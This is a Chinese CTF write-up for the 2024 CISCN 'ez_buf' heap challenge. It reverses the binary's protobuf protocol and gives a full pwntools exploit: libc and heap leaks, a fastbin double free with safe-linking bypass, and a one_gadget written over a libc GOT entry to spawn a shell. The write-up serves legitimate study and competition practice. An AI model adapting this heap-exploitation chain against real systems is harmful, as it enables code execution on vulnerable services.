2024ciscn-ez_buf分析
生成proto文件
protobuf类型的题目
首先要逆协议,逆协议有两种方式
1.pbtk直接逆向
直接下载去github上面下载pbtk
https://github.com/marin-m/pbtk
然后在 extractors 目录下运行
python from_binary.py pwn ./
这个题目梭不出来,所以只能手动逆向
梭不出来,直接逆向
2.手动逆向
根据题目里面的特征和相应的类型表来逆向
下面就以此题为例来逆一下
首先见到如下特征基本上就可以确定是protobuf类型的pwn题目
然后我们每个地点跳转一下
对应+0x8的位置是就是对应的idx
对应+0x10的位置是符号,根据这个符号去对类型表,就可以知道对应的类型
所以由这道题目可以写出
ctf.proto文件
syntax = "proto2";
package Devicemsg;
message pwn {
optional bytes whatcon = 1;
optional sint64 whattodo = 2;
optional sint64 whatidx = 3;
optional sint64 whatsize = 4;
optional sint32 whatsthis = 5;
}
protobuf类型表
typedef enum {
0 PROTOBUF_C_TYPE_INT32, /**< int32 */
1 PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
2 PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
3 PROTOBUF_C_TYPE_INT64, /**< int64 */
4 PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
5 PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
6 PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
7 PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
8 PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
9 PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
A PROTOBUF_C_TYPE_FLOAT, /**< float */
B PROTOBUF_C_TYPE_DOUBLE, /**< double */
C PROTOBUF_C_TYPE_BOOL, /**< boolean */
D PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
E PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
F PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
10 PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;
生成ctf_pb2文件
pip install google
pip install protobuf
protoc --python_out=./ ./ctf.proto
直接生成
思路分析
程序的入口在这
然后里面有四个选项,这个函数有6个参数
我们解析包只有五个参数,但这里有六个,所以仔细观察一下
add的a2其实是没用的
也就是a1其实是没用的,或者说他就是一个解析结构的参数
然后猜测我们在proto文件里面逆出来的结构就是从a2-a6
也就是这里的
optional bytes whatcon = 1;
optional sint64 whattodo = 2;
optional sint64 whatidx = 3;
optional sint64 whatsize = 4;
optional sint32 whatsthis = 5;
对应的就是a2-a6
还是拿add来验证一下
a4就是whatidx(3)
a2就是whatcon(1)
正好名字提示和里面的功能也能对的上,所以直接开始写
把ctf_pb2文件引用上
import ctf_pb2
然后定义一下
def add(idx,data):
chunk = ctf_pb2.pwn()
chunk.whatcon = data
chunk.whattodo = 1
chunk.whatidx = idx
chunk.whatsize = 0
chunk.whatsthis = 0
p.sendafter("WANT?\n",chunk.SerializeToString())
def delete(idx):
chunk = ctf_pb2.pwn()
chunk.whatcon = b"0"
chunk.whattodo = 2
chunk.whatidx = idx
chunk.whatsize = 0
chunk.whatsthis = 0
p.sendafter("WANT?\n",chunk.SerializeToString())
def show(idx):
chunk = ctf_pb2.pwn()
chunk.whatcon = b'0'
chunk.whattodo = 3
chunk.whatidx = idx
chunk.whatsize = 0
chunk.whatsthis = 0
p.sendafter("WANT?\n",chunk.SerializeToString())
show这里其实不用管太多,能正常解析就行
在没有写任何东西的时候,smallbins里面就有个带libc的chunk
我们直接用add申请一个chunk
因为add里面有个memcpy复制写的操作,所以会生成俩chunk
add(0,b'b'*0x8)
这里申请8字节,先生成了一段0x20大小的chunk(从smallbins里面分割的,带有libc),然后复制到了一个0x40的chunk里面,我们直接show就可以了
add(0,b'b'*0x8)
show(0)
p.recvuntil(b'bbbbbbbb')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0
leak('libc_base',libc_base)
然后剩下的就是了,利用9个uaf去打fastbin
先泄露一下heap地址
for i in range(9):
add(i+1,b'b'*0x8)
for i in range(7):
delete(6-i)
show(6)
ru(b'Content:')
heap_addr=(u64(p.recv(5).ljust(8,b'\x00'))<<12)-0x4000
leak('heap_addr ',heap_addr)
根据最后一个chunk泄露就可以
之后就是fastbin double free了
然后把tcachebin里面的0x40的链子申请完
for i in range(7):
add(i,b'a'*0x8)
然后改个ABS_got表
key=heap_addr>>12
leak('key ',key)
ABS=libc_base+0x21a098
leak('ABS',ABS)
pl=p64((ABS+0x8)^(key+4))
add(0,pl)
然后直接申请改成og就可以,这里对size没有检测
add(1,b'a'*8)
add(2,b'a'*8)
og=libc_base+0x10d9ca
add(3,p64(og)*4)
p.sendline('ls')
直接提权
exp
import os
import time
from pwn import *
from ctypes import *
import ctf_pb2
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def duan():
gdb.attach(p)
pause()
def add(idx,data):
chunk = ctf_pb2.pwn()
chunk.whatcon = data#.encode('utf-8')
chunk.whattodo = 1
chunk.whatidx = idx
chunk.whatsize = 0
chunk.whatsthis = 0
p.sendafter("WANT?\n",chunk.SerializeToString())
def delete(idx):
chunk = ctf_pb2.pwn()
chunk.whatcon = b"0"
chunk.whattodo = 2
chunk.whatidx = idx
chunk.whatsize = 0
chunk.whatsthis = 0
p.sendafter("WANT?\n",chunk.SerializeToString())
def show(idx):
chunk = ctf_pb2.pwn()
chunk.whatcon = b'0'
chunk.whattodo = 3
chunk.whatidx = idx
chunk.whatsize = 0
chunk.whatsthis = 0
p.sendafter("WANT?\n",chunk.SerializeToString())
add(0,b'b'*0x8)
show(0)
p.recvuntil(b'Content:bbbbbbbb')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0
leak('libc_base',libc_base)
for i in range(9):
add(i+1,b'b'*0x8)
for i in range(7):
delete(6-i)
show(6)
ru(b'Content:')
heap_addr=(u64(p.recv(5).ljust(8,b'\x00'))<<12)-0x4000
leak('heap_addr ',heap_addr)
delete(7)
delete(8)
delete(7)
for i in range(7):
add(i,b'a'*0x8)
key=heap_addr>>12
leak('key ',key)
ABS=libc_base+0x21a098
leak('ABS',ABS)
pl=p64((ABS+0x8)^(key+4))
add(0,pl)
add(1,b'a'*8)
add(2,b'a'*8)
og=libc_base+0x10d9ca
add(3,p64(og)*4)
p.sendline('ls')
itr()
- ezbuf.zip 下载